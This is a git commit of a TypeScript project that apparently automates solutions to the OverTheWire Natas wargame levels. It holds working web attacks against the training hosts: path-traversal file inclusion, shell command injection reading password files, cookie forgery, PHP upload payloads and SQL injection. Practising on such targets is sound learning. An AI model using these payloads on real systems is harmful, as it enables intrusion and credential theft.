initial
This commit is contained in:
commit
ed8bf400d1
7 changed files with 352 additions and 0 deletions
2
.gitignore
vendored
Normal file
2
.gitignore
vendored
Normal file
|
@ -0,0 +1,2 @@
|
||||||
|
node_modules
|
||||||
|
passwords.json
|
BIN
bun.lockb
Executable file
BIN
bun.lockb
Executable file
Binary file not shown.
55
index.ts
Normal file
55
index.ts
Normal file
|
@ -0,0 +1,55 @@
|
||||||
|
import solve from "./solve";
|
||||||
|
import { getPasswordFor, savePassword } from "./util";
|
||||||
|
|
||||||
|
async function main() {
|
||||||
|
let prevPassword = "natas0";
|
||||||
|
|
||||||
|
for (let i = 0; ; i++) {
|
||||||
|
console.log(`Solving level ${i}`);
|
||||||
|
|
||||||
|
const savedPassword = await getPasswordFor(i);
|
||||||
|
if (savedPassword) {
|
||||||
|
console.log("saved");
|
||||||
|
prevPassword = savedPassword;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
const user = `natas${i}`;
|
||||||
|
const fetchReplacement = async (url: string, init?: RequestInit) => {
|
||||||
|
const newUrl = new URL(
|
||||||
|
url,
|
||||||
|
`http://natas${i}.natas.labs.overthewire.org/`
|
||||||
|
);
|
||||||
|
const headers = new Headers(init?.headers);
|
||||||
|
|
||||||
|
const authorization = btoa(`${user}:${prevPassword}`);
|
||||||
|
headers.set("Authorization", `Basic ${authorization}`);
|
||||||
|
const newInit = { ...init, headers };
|
||||||
|
console.log(newUrl, user, prevPassword, newInit);
|
||||||
|
return await fetch(newUrl, newInit);
|
||||||
|
};
|
||||||
|
|
||||||
|
const solveFn = solve[i];
|
||||||
|
|
||||||
|
if (!solveFn) throw new Error(`No solution for natas${i} yet.`);
|
||||||
|
|
||||||
|
try {
|
||||||
|
const password = await solveFn({
|
||||||
|
username: user,
|
||||||
|
prevPassword,
|
||||||
|
fetch: fetchReplacement,
|
||||||
|
});
|
||||||
|
|
||||||
|
if (typeof password !== "string") throw new Error("non-string output");
|
||||||
|
|
||||||
|
prevPassword = password;
|
||||||
|
savePassword(i, password);
|
||||||
|
} catch (e) {
|
||||||
|
console.log("sad");
|
||||||
|
console.trace(e);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
main();
|
5
package.json
Normal file
5
package.json
Normal file
|
@ -0,0 +1,5 @@
|
||||||
|
{
|
||||||
|
"devDependencies": {
|
||||||
|
"bun-types": "^1.0.4-canary.20231004T140131"
|
||||||
|
}
|
||||||
|
}
|
209
solve.ts
Normal file
209
solve.ts
Normal file
|
@ -0,0 +1,209 @@
|
||||||
|
import { bytes2str, determinePeriod, hex2bin, xor } from "./util";
|
||||||
|
|
||||||
|
const solves: SolveFn[] = [
|
||||||
|
async ({ fetch }) => {
|
||||||
|
const result = await fetch("/");
|
||||||
|
const text = await result.text();
|
||||||
|
const match = text.match(/The password for natas1 is ([^ ]+)/);
|
||||||
|
return match[1];
|
||||||
|
},
|
||||||
|
|
||||||
|
async ({ fetch }) => {
|
||||||
|
const result = await fetch("/");
|
||||||
|
const text = await result.text();
|
||||||
|
const match = text.match(/The password for natas2 is ([^ ]+)/);
|
||||||
|
return match[1];
|
||||||
|
},
|
||||||
|
|
||||||
|
async ({ fetch }) => {
|
||||||
|
const result = await fetch("/files/users.txt");
|
||||||
|
const text = await result.text();
|
||||||
|
const match = text.match(/^natas3:([^\s]+)$/m);
|
||||||
|
return match[1];
|
||||||
|
},
|
||||||
|
|
||||||
|
async ({ fetch }) => {
|
||||||
|
// Discover this URL through /robots.txt
|
||||||
|
const result = await fetch("/s3cr3t/users.txt");
|
||||||
|
const text = await result.text();
|
||||||
|
const match = text.match(/^natas4:([^\s]+)$/m);
|
||||||
|
return match[1];
|
||||||
|
},
|
||||||
|
|
||||||
|
async ({ fetch }) => {
|
||||||
|
const result = await fetch("/", {
|
||||||
|
headers: { Referer: "http://natas5.natas.labs.overthewire.org/" },
|
||||||
|
});
|
||||||
|
const text = await result.text();
|
||||||
|
const match = text.match(/The password for natas5 is ([^\s]+)/m);
|
||||||
|
return match[1];
|
||||||
|
},
|
||||||
|
|
||||||
|
async ({ fetch }) => {
|
||||||
|
const result = await fetch("/", {
|
||||||
|
headers: { cookie: "loggedin=1" },
|
||||||
|
});
|
||||||
|
const text = await result.text();
|
||||||
|
const match = text.match(/The password for natas6 is ([a-zA-Z0-9]+)/m);
|
||||||
|
return match[1];
|
||||||
|
},
|
||||||
|
|
||||||
|
async ({ fetch }) => {
|
||||||
|
const result = await fetch("/includes/secret.inc");
|
||||||
|
const text = await result.text();
|
||||||
|
const secret = text.match(/\$secret = "([^"]+)"/);
|
||||||
|
|
||||||
|
const params = new URLSearchParams([
|
||||||
|
["secret", secret[1]],
|
||||||
|
["submit", "Submit+Query"],
|
||||||
|
]);
|
||||||
|
const result2 = await fetch("/", {
|
||||||
|
method: "POST",
|
||||||
|
headers: { "Content-Type": "application/x-www-form-urlencoded" },
|
||||||
|
body: params.toString(),
|
||||||
|
});
|
||||||
|
const text2 = await result2.text();
|
||||||
|
|
||||||
|
const match = text2.match(/The password for natas7 is ([a-zA-Z0-9]+)/m);
|
||||||
|
return match[1];
|
||||||
|
},
|
||||||
|
|
||||||
|
async ({ fetch }) => {
|
||||||
|
// Local file inclusion
|
||||||
|
const result = await fetch(
|
||||||
|
"/index.php?page=../../../../../etc/natas_webpass/natas8"
|
||||||
|
);
|
||||||
|
const text = await result.text();
|
||||||
|
const match = text.match(/<br>\s+([a-zA-Z0-9]+)\s+<!--/m);
|
||||||
|
return match[1];
|
||||||
|
},
|
||||||
|
|
||||||
|
async ({ fetch }) => {
|
||||||
|
const encodedSecret = "3d3d516343746d4d6d6c315669563362";
|
||||||
|
let secret: any = hex2bin(encodedSecret);
|
||||||
|
secret.reverse();
|
||||||
|
secret = bytes2str(secret);
|
||||||
|
secret = atob(secret);
|
||||||
|
|
||||||
|
const params = new URLSearchParams([
|
||||||
|
["secret", secret],
|
||||||
|
["submit", "Submit+Query"],
|
||||||
|
]);
|
||||||
|
const result = await fetch("/", {
|
||||||
|
method: "POST",
|
||||||
|
headers: { "Content-Type": "application/x-www-form-urlencoded" },
|
||||||
|
body: params.toString(),
|
||||||
|
});
|
||||||
|
const text = await result.text();
|
||||||
|
const match = text.match(/The password for natas9 is ([a-zA-Z0-9]+)/m);
|
||||||
|
return match[1];
|
||||||
|
},
|
||||||
|
|
||||||
|
async ({ fetch }) => {
|
||||||
|
const result = await fetch(
|
||||||
|
"/?needle=%3B+cat+%2Fetc%2Fnatas_webpass%2Fnatas10+%23&submit=Search"
|
||||||
|
);
|
||||||
|
const text = await result.text();
|
||||||
|
const match = text.match(/<pre>\s*([a-zA-Z0-9]+)\s*<\/pre>/m);
|
||||||
|
return match[1];
|
||||||
|
},
|
||||||
|
|
||||||
|
async ({ fetch }) => {
|
||||||
|
const result = await fetch(
|
||||||
|
"/?needle=%22%22+%2Fetc%2Fnatas_webpass%2Fnatas11+%23&submit=Search"
|
||||||
|
);
|
||||||
|
const text = await result.text();
|
||||||
|
const match = text.match(/<pre>\s*([a-zA-Z0-9]+)\s*<\/pre>/m);
|
||||||
|
return match[1];
|
||||||
|
},
|
||||||
|
|
||||||
|
async ({ fetch }) => {
|
||||||
|
const result = await fetch("/");
|
||||||
|
const originalCiphertext = atob(
|
||||||
|
decodeURIComponent(result.headers.get("set-cookie").split("=")[1])
|
||||||
|
);
|
||||||
|
const originalPlaintext = `{"showpassword":"no","bgcolor":"#ffffff"}`;
|
||||||
|
const fullKey = xor(originalCiphertext, originalPlaintext);
|
||||||
|
const key = fullKey.slice(0, determinePeriod(fullKey));
|
||||||
|
|
||||||
|
const data = { showpassword: "yes", bgcolor: "#ffffff" };
|
||||||
|
const encrypted = encodeURIComponent(
|
||||||
|
btoa(bytes2str(xor(JSON.stringify(data), key)))
|
||||||
|
);
|
||||||
|
|
||||||
|
const result2 = await fetch("/", {
|
||||||
|
headers: { cookie: `data=${encrypted}` },
|
||||||
|
});
|
||||||
|
const text = await result2.text();
|
||||||
|
const match = text.match(/The password for natas12 is ([a-zA-Z0-9]+)/m);
|
||||||
|
return match[1];
|
||||||
|
},
|
||||||
|
|
||||||
|
async ({ fetch }) => {
|
||||||
|
const data = new FormData();
|
||||||
|
data.append("filename", "index.php");
|
||||||
|
const payload = `<?php echo file_get_contents("/etc/natas_webpass/natas13"); ?>`;
|
||||||
|
data.append("uploadedfile", new Blob([payload]), "index.php");
|
||||||
|
const uploadResult = await fetch("/", {
|
||||||
|
method: "POST",
|
||||||
|
body: data,
|
||||||
|
});
|
||||||
|
|
||||||
|
const text = await uploadResult.text();
|
||||||
|
const urlMatch = text.match(/The file <a href="([^"]+)">/);
|
||||||
|
const url = urlMatch[1];
|
||||||
|
|
||||||
|
const fileResult = await fetch(url);
|
||||||
|
return (await fileResult.text()).trim();
|
||||||
|
},
|
||||||
|
|
||||||
|
async ({ fetch }) => {
|
||||||
|
const data = new FormData();
|
||||||
|
data.append("filename", "index.php");
|
||||||
|
// From http://www.libpng.org/pub/png/spec/1.2/PNG-Structure.html
|
||||||
|
const header = new Uint8Array([137, 80, 78, 71, 13, 10, 26, 10]);
|
||||||
|
const payload = `(<?php echo file_get_contents("/etc/natas_webpass/natas14"); ?>)`;
|
||||||
|
data.append("uploadedfile", new Blob([header, payload]), "index.png");
|
||||||
|
const uploadResult = await fetch("/", {
|
||||||
|
method: "POST",
|
||||||
|
body: data,
|
||||||
|
});
|
||||||
|
|
||||||
|
const text = await uploadResult.text();
|
||||||
|
console.log("result!", text);
|
||||||
|
const urlMatch = text.match(/The file <a href="([^"]+)">/);
|
||||||
|
const url = urlMatch[1];
|
||||||
|
|
||||||
|
const fileResult = await fetch(url);
|
||||||
|
const text2 = await fileResult.text();
|
||||||
|
const match = text2.match(/\(([^\)]+)\)/);
|
||||||
|
return match[1].trim();
|
||||||
|
},
|
||||||
|
|
||||||
|
async ({ fetch }) => {
|
||||||
|
const params = new URLSearchParams([
|
||||||
|
["username", `" or 1=1 or "`],
|
||||||
|
["password", ""],
|
||||||
|
]);
|
||||||
|
const result = await fetch("/", {
|
||||||
|
method: "POST",
|
||||||
|
headers: { "Content-Type": "application/x-www-form-urlencoded" },
|
||||||
|
body: params.toString(),
|
||||||
|
});
|
||||||
|
const text = await result.text();
|
||||||
|
const match = text.match(/The password for natas15 is ([a-zA-Z0-9]+)/m);
|
||||||
|
return match[1];
|
||||||
|
},
|
||||||
|
];
|
||||||
|
|
||||||
|
export default solves;
|
||||||
|
|
||||||
|
interface SolveFn {
|
||||||
|
(props: SolveFnProps): string | Promise<string>;
|
||||||
|
}
|
||||||
|
|
||||||
|
interface SolveFnProps {
|
||||||
|
username: string;
|
||||||
|
prevPassword: string;
|
||||||
|
fetch: (url: string, init?: RequestInit) => Promise<Response>;
|
||||||
|
}
|
5
tsconfig.json
Normal file
5
tsconfig.json
Normal file
|
@ -0,0 +1,5 @@
|
||||||
|
{
|
||||||
|
"compilerOptions": {
|
||||||
|
"types": ["bun-types"]
|
||||||
|
}
|
||||||
|
}
|
76
util.ts
Normal file
76
util.ts
Normal file
|
@ -0,0 +1,76 @@
|
||||||
|
import { createWriteStream } from "node:fs";
|
||||||
|
|
||||||
|
const fileName = "./passwords.json";
|
||||||
|
|
||||||
|
export async function getPasswordFor(level: number): Promise<string | null> {
|
||||||
|
try {
|
||||||
|
const file = Bun.file(fileName);
|
||||||
|
const data = await file.json();
|
||||||
|
return data[`natas${level}`];
|
||||||
|
} catch (e) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function savePassword(
|
||||||
|
level: number,
|
||||||
|
password: string
|
||||||
|
): Promise<void> {
|
||||||
|
let data = {};
|
||||||
|
|
||||||
|
try {
|
||||||
|
const file = Bun.file(fileName);
|
||||||
|
data = await file.json();
|
||||||
|
} catch (e) {}
|
||||||
|
|
||||||
|
data[`natas${level}`] = password;
|
||||||
|
createWriteStream(fileName).end();
|
||||||
|
await Bun.write(fileName, JSON.stringify(data, null, 2));
|
||||||
|
}
|
||||||
|
|
||||||
|
export function hex2bin(hex: string): number[] {
|
||||||
|
const buf = [];
|
||||||
|
for (let i = 0; i < hex.length; i += 2) {
|
||||||
|
const byte = hex.slice(i, i + 2);
|
||||||
|
buf.push(parseInt(byte, 16));
|
||||||
|
}
|
||||||
|
return buf;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function bytes2str(bytes: number[]): string {
|
||||||
|
return bytes.map((c) => String.fromCharCode(c)).join("");
|
||||||
|
}
|
||||||
|
|
||||||
|
export function xor(str: string, key: string | number[]): number[] {
|
||||||
|
const result = [];
|
||||||
|
str.split("").forEach((c, idx) => {
|
||||||
|
const pIdx = idx % key.length;
|
||||||
|
let c2;
|
||||||
|
if (typeof key === "string") c2 = key.charCodeAt(pIdx);
|
||||||
|
else c2 = key[pIdx];
|
||||||
|
result.push(c.charCodeAt(0) ^ c2);
|
||||||
|
});
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function determinePeriod(
|
||||||
|
arr: number[],
|
||||||
|
threshold: number = 1,
|
||||||
|
limit: number = 50
|
||||||
|
): number {
|
||||||
|
let period = 1;
|
||||||
|
let lowest = null;
|
||||||
|
while (period < limit) {
|
||||||
|
let sum = 0;
|
||||||
|
for (let i = period; i < arr.length; i++) {
|
||||||
|
sum += arr[i] ^ arr[i - period];
|
||||||
|
}
|
||||||
|
console.log(period, sum);
|
||||||
|
|
||||||
|
if (sum === 0) return period;
|
||||||
|
if (lowest === null || sum < lowest[0]) lowest = [sum, period];
|
||||||
|
period += 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (lowest <= threshold) return lowest[1];
|
||||||
|
}
|
Loading…
Reference in a new issue